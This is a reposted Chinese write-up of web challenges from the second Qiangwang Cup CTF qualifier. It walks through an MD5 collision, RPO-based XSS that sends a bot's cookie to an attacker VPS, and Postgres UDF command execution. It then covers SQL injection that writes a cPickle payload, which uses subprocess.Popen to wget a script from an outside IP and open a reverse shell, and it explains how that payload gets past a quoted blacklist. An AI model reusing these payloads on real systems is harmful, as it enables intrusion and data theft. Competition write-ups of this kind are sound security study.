本文章转子互联网。

赛事介绍

为全面贯彻习主席关于网络安全和信息化工作的一系列重要指示精神,延揽储备锻炼网信领域优秀人才,提升国家网络空间安全能力水平,举办第二届“强网杯”全国网络安全挑战赛。该比赛是面向高等院校和国内信息安全企业的一次国家级网络安全赛事,旨在通过激烈的网络竞赛对抗,培养和提高国家网络安全保障能力和水平,发现网络安全领域优秀人才,提升全民网络空间的安全意识和能力水平。

3月25日晚上21时,第二届“强网杯”全国网络安全挑战赛线上赛圆满落幕。经过36个小时的激烈鏖战,来自腾讯公司的“eee”战队凭借强劲的实力和高超的技能,以解题31道共计7780分的总成绩占据积分榜首位。

排行图

“强网杯”全国网络安全挑战赛是面向高等院校和国内信息安全企业的一次国家级网络安全赛事,旨在通过激烈的网络竞赛对抗,培养和提高国家网络安全保障能力和水平,发现网络安全领域优秀人才,提升全民网络空间的安全意识和能力水平。本次比赛受到国内网络安全领域的高度重视,注册队伍达2622支,网络安全专业传统强校(如浙江大学、复旦大学、上海交通大学等)和知名网络安全企业(如360、腾讯、阿里巴巴等)均组队参赛。

web签到题

md5碰撞的题,直接参考md5的生日攻击,可以生成(google搜)如下payload:

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1U%5D%83%60%FB%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB%07%FE%A2

Param1 和param2的 内容不同,但是md5值相同,即可一路pass下去,直接拿到flag。

share your mind

这道题是一道RPO攻击的题目。通过测试,我们可以发现,服务器端的配置有问题(可能是rewrite模块的问题),正常例如/aaa/bbb/..%2f这样的url不会被解析成/aaa,但是在此处被解析成了/aaa,这意味着url地址中的%2f被解码后,被web容器识别成目录穿越。这种特性我们我们可以很容易地通过404页面来判断(对于apache2),正常情况如下:

但是在错误配置的apache2或者nginx中,我们得到的url是/aaa。

然后我们在所有页面中发现了一个可以写入我们可控内容的页面,但是,这个页面中的特殊字符会被转义,script标签和所有html标签都不能使用,而且单双引号也都不能使用,因此在构造外部地址时需要使用String.fromCharCode()函数,或者通过跳转或者iframe标签,使用window.referer直接取得最终提交cookie的VPS的url地址。

最后一个需要注意的地方是,再你获取到cookie时可以发现,cookie中的hint显示真正的flag在/QWB_fl4g/QWB/下,我们不仅需要改动原先的RPO的payload,还需要让XSS bot先访问/QWB_fl4g/QWB/index.php才能获取到包含flag的cookie,当时在这个点卡了很久。

下面开始构造payload:

http://39.107.33.96:20000/QWB_fl4g/QWB/index.php/..%2f..%2f../index.php/view/article/17776/..%2f..%2f..%2f..%2findex.php

这个地址对于服务端而言,经过url解码以及目录穿越之后,得到的最终的url是:

http://39.107.33.96:20000/index.php

在index.php中,我们可以看到它引入了

../static/js/jquery.min.js

这个js文件,此时此刻,加载了index.php的dom的xss bot,看到的jquery.min.js的真实地址为:

http://39.107.33.96:20000/QWB_fl4g/QWB/index.php/..%2f..%2f../index.php/view/article/17776/static/js/jquery.min.js

而服务端看到的地址为:

http://39.107.33.96:20000/index.php/view/article/17776/static/js/jquery.min.js

又因为服务器rewrite解析的问题,以上地址等价为:

http://39.107.33.96:20000/index.php/view/article/17776

这是我们可控的留言的内容,也就是说,留言的内容会被xss bot当成jquery.min.js加载并执行。留言中内容,我们这样写:

var a=window.referer;
window.location.href= a + document.cookie;

我们可以提交如下的url地址:

http://39.107.33.96:20000@47.75.xx.xx/3.html

( 这里有同站检测,使用basic认证即可绕过)

让xss bot访问一个在我们的VPS上精心构造好的html页面,页面内容为:

<img src='http://39.107.33.96:20000/QWB_fl4g/QWB/index.php'>
<iframe src='http://39.107.33.96:20000/QWB_fl4g/QWB/index.php/..%2f..%2f../index.php/view/article/17776/..%2f..%2f..%2f..%2findex.php'></iframe>

最终的攻击流程是:

1、提交http://39.107.33.96:20000@47.75.xx.xx/3.html给xss bot访问;
2、xss bot 首先访问http://39.107.33.96:20000/QWB_fl4g/QWB/index.php 获取到包含flag的cookie,然后通过iframe加载http://39.107.33.96:20000/QWB_fl4g/QWB/index.php/..%2f..%2f../index.php/view/article/17776/..%2f..%2f..%2f..%2findex.php
3、iframe加载的实际是http://39.107.33.96:20000/index.php页面,其中引入了实际地址是http://39.107.33.96:20000/index.php/view/article/17776的js
4、xss bot执行了我们留言板中的内容
5、xss bot带上flag访问47.75.xx.xx

彩蛋

这道题看上去是shiroRCE,但实际上在构造反序列化的gadgets时,不能用commoncollections,只能用JRMPclient,听大佬说这是orange怼出来的。因此,github上的shiro的利用,所使用的反序列化的攻击payload大多是不正确的,这个坑点只有本地搭建起来用eclipse调试了才知道。

但是既然题目名为彩蛋,那自然还有较为简单的利用方式,查看phrackctf的docker我们可以发现,它使用的postgres是暴露在外网的,而且账号密码都是已知的!

于是,我们可以利用postgres的特性使用udf 实现命令执行。

首先我们执行

SELECT setting FROM pg_settings WHERE name='data_directory';

可以得到postgres的数据目录,以及当前的版本号-9.6

查找github 上sqlmap的一个叫udf的project,下载后在phrackCTF的docker上进行编译(sqlmap提供的so文件最新的也只是9.4的),然后将其导出为hex

使用如下sql语句将hex插入postgres的表中(这里省略具体的内容)

insert into pg_largeobject (loid,pageno,data) values(24720, 0, decode('7f454c4602010100000000000000000003003e0001000000700d0000000000004000000000000000f0210000000000000000000040003800070040001a0019000100000005000000000000000000000000000000000000000000000000000000dc14000000000000dc1400000000000000002000000000000100000006000000001e000000000000001e200000000000001e200000000000e002000000000000e80200000000000000002000000000000200000006000000181e000000000000181e200000000000181e200000000000c0010000000.....', 'hex'));
insert into pg_largeobject (loid,pageno,data) values(24720, 1, ......                                            
insert into pg_largeobject (loid,pageno,data) values(24720, 2, ......
insert into pg_largeobject (loid,pageno,data) values(24720, 3, ......
insert into pg_largeobject (loid,pageno,data) values(24720, 4, ......
insert into pg_largeobject (loid,pageno,data) values(24720, 5, decode('2800000000000000000000000000000008000000000000000800000000000000c500000001000000030000000000000000202000000000000020000000000000d800000000000000000000000000000008000000000000000800000000000000ce000000010000000300000000000000d820200000000000d8200000000000000800000000000000000000000000000008000000000000000000000000000000d4000000080000000300000000000000e020200000000000e0200000000000000800000000000000000000000000000001000000000000000000000000000000d90000000100000030000000000000000000000000000000e0200000000000002b000000000000000000000000000000010000000000000001000000000000000100000003000000000000000000000000000000000000000b21000000000000e200000000000000000000000000000001000000000000000000000000000000', 'hex'));

需要注意的是每次插入数据的大小是一个postgres定义的page,也就是2KB,所以在插入之前要对数据分组插入。

导出数据并构造udf

SELECT lo_export(24720, 'haozi.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/var/lib/postgresql/9.6/main/haozi.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

执行系统命令,并获取最终flag。

select sys_eval('id');

three hits

利用注册时的age可以在profile.php中进行二次注入,其中age要求必须是数字类型的,我们此处可以是用hex值来绕过。因为解题过程中有大量注册和登录操作,所以使用如下脚本,简化操作:

#!/usr/bin/env python
import readline
from http import http
import random
headers = {'Cookie': 'PHPSESSID=d8vr2tg196k7u76c82j68nb0n7'}
def login(username,password):
    data = 'username=%s&password=%s'%(username,password)
    http('post','39.107.32.29',10000,'/index.php?func=login',data,headers)
def register(username,password,age_payload):
    data = 'username=%s&password=%s&age=%s'%(username,password, age_payload)
    http('post','39.107.32.29',10000,'/index.php?func=register',data,headers)
def logout():
    http('get','39.107.32.29',10000,'/index.php?func=logout','',headers)
def profile():
    res = http('get','39.107.32.29',10000,'/profile.php','',headers)
    if 'whose name is' in res:
        index = res.find('whose name is')
        res = res[index: index+50]
        print res
    else:
        print 'error'
i = random.randint(100,10000000)
while True:
    age = str(i) + ' ' + raw_input('age#  ')
    age = '0x' + str(age.encode('hex'))
    username = 'haozi' + str(i)
    password = 'haozigege'
    register(username,password,age)
    login(username,password)
    profile()
    logout()
    i += 1

除此之外,其他的payload与普通的union注入没有什么区别,此处不再赘述,最终可得:

database table column

qwb -> flag -> flag

然后union获取flag即可。

python1/2

Python1和python2用的是同一套环境,漏洞利用上也是可以相互参考,遂合为一处。

通过代码审计,可以发现,在/index处,参数post存在sql注入,注入的payload如下:

csrf_token=ImU2YmEwNWJiYjUxYjI0MjNjNzlhOWIxMGZlYjJlMDUxN2U0YTQ5NjIi.DZjoyA.Ui_NZinvYNERxM4cx7brtWkSlnQ&post=ilovehaozi','1', '2018-03-24');#&submit=Submit

我们也可以一次插入两条记录, 而且数据库可以使用读取本地文件:

csrf_token=ImU2YmEwNWJiYjUxYjI0MjNjNzlhOWIxMGZlYjJlMDUxN2U0YTQ5NjIi.DZjoyA.Ui_NZinvYNERxM4cx7brtWkSlnQ&post=ilovehaozi','1', '2018-03-24'),(NULL,(select hex(load_file('/etc/passwd'))), '1', '2018-03-25');#&submit=Submit

但是貌似做了限制,只能读取/tmp目录下的文件,但是,此处sql注入是允许插入多条sql语句的,我们可以尝试在/tmp目录下写入再读取来验证漏洞:

csrf_token=ImU2YmEwNWJiYjUxYjI0MjNjNzlhOWIxMGZlYjJlMDUxN2U0YTQ5NjIi.DZjoyA.Ui_NZinvYNERxM4cx7brtWkSlnQ&post=ilovehaozi','1', '2018-03-24'),(NULL,(select hex(load_file('/tmp/6666'))), '1', '2018-03-25');select 'haozi' into outfile '/tmp/6666'#&submit=Submit

其中payload中的1指向的是uid=1的用户,我们可以在/explore页面中看到所有人的消息,这样我们可以把flag读取到文件,再从文件读取到数据库,最后从/explore处找到。有意思的是,这样子我们也能看到别人的flag,于是在/explore页面找一找,就能看到别人select出来的flag 😛 。python1最终的payload大致如下:

csrf_token=ImU2YmEwNWJiYjUxYjI0MjNjNzlhOWIxMGZlYjJlMDUxN2U0YTQ5NjIi.DZjoyA.Ui_NZinvYNERxM4cx7brtWkSlnQ&post=ilovehaozi','1', '2018-03-24'),(NULL,(select hex(load_file('/tmp/66661'))), '1', '2018-03-25');select flag from xxxxx into outfile '/tmp/66661'#&submit=Submit

python2 需要getshell,可以利用mysql对文件的控制,构造一个session文件,然后尝试带上对应的session值去访问任意页面,以触发反序列户化漏洞。

通过代码审计了解session文件名的生成规则

[/php]'/tmp/ffff/' + md5(bdwsessions + haozi) = /tmp/ffff/0b53b4efdf43ce11112bad03a0d4e435[/php]

构造cpickle 反序列化payload

#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'
import cPickle
import os
import subprocess
class genpoc(object):
    def __reduce__(self):
        #return (subprocess.Popen, (('wget','116.123.18.50:12345/1.sh','-O','/tmp/haozi.sh'),),)
        return (subprocess.Popen, (('sh','/tmp/haozi.sh',),))
e = genpoc()
poc = cPickle.dumps(e)
open('payload','wb').write(poc)
print '0x' + poc.encode('hex')
#cPickle.loads(poc)

在源代码中我们发现了如下的black_list:

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
                   tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
                   lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
                   rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
                   execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
                   spawnv, spawnve, spawnvp, spawnvpe, load, loads]

但是我们依然可以通过subprocess.Popen实现命令执行

两次生成的序列化payload分别为:

0x6373756270726f636573730a506f70656e0a70310a2828532777676574270a70320a53273131382e3139302e37382e3135353a383038302f312e7368270a70330a53272d4f270a70340a53272f746d702f68616f7a692e7368270a70350a7470360a7470370a5270380a2e
0x6373756270726f636573730a506f70656e0a70310a282853277368270a70320a53272f746d702f68616f7a692e7368270a70330a7470340a7470350a5270360a2e

将paylaod写入相关文件,并尝试访问:

第一次访问

session=haozi1    =>   /tmp/ffff/c891d81f34568f3a913e2ecbc3b40a5a

csrf_token=ImU2YmEwNWJiYjUxYjI0MjNjNzlhOWIxMGZlYjJlMDUxN2U0YTQ5NjIi.DZjoyA.Ui_NZinvYNERxM4cx7brtWkSlnQ&post=ilovehaozi','1', '2018-03-24'),(NULL,(select hex(load_file('/tmp/ffff/c891d81f34568f3a913e2ecbc3b40a5a'))), '1', '2018-03-25');select 0x6373756270726f636573730a506f70656e0a70310a2828532777676574270a70320a53273131382e3139302e37382e3135353a383038302f312e7368270a70330a53272d4f270a70340a53272f746d702f68616f7a692e7368270a70350a7470360a7470370a5270380a2e into outfile '/tmp/ffff/c891d81f34568f3a913e2ecbc3b40a5a'#&submit=Submit

第二次访问

session=haozi2    =>   /tmp/ffff/2e2d66b4f4dd127609ad0afbd289d3ef

csrf_token=ImU2YmEwNWJiYjUxYjI0MjNjNzlhOWIxMGZlYjJlMDUxN2U0YTQ5NjIi.DZjoyA.Ui_NZinvYNERxM4cx7brtWkSlnQ&post=ilovehaozi','1', '2018-03-24'),(NULL,(select hex(load_file('/tmp/ffff/2e2d66b4f4dd127609ad0afbd289d3ef'))), '1', '2018-03-25');select 0x6373756270726f636573730a506f70656e0a70310a282853277368270a70320a53272f746d702f68616f7a692e7368270a70330a7470340a7470350a5270360a2einto outfile '/tmp/ffff/2e2d66b4f4dd127609ad0afbd289d3ef'#&submit=Submit

最终可以获得一个反弹shell。PS:吐槽一下这题的体验很烂,各种删库删文件,各种500错误。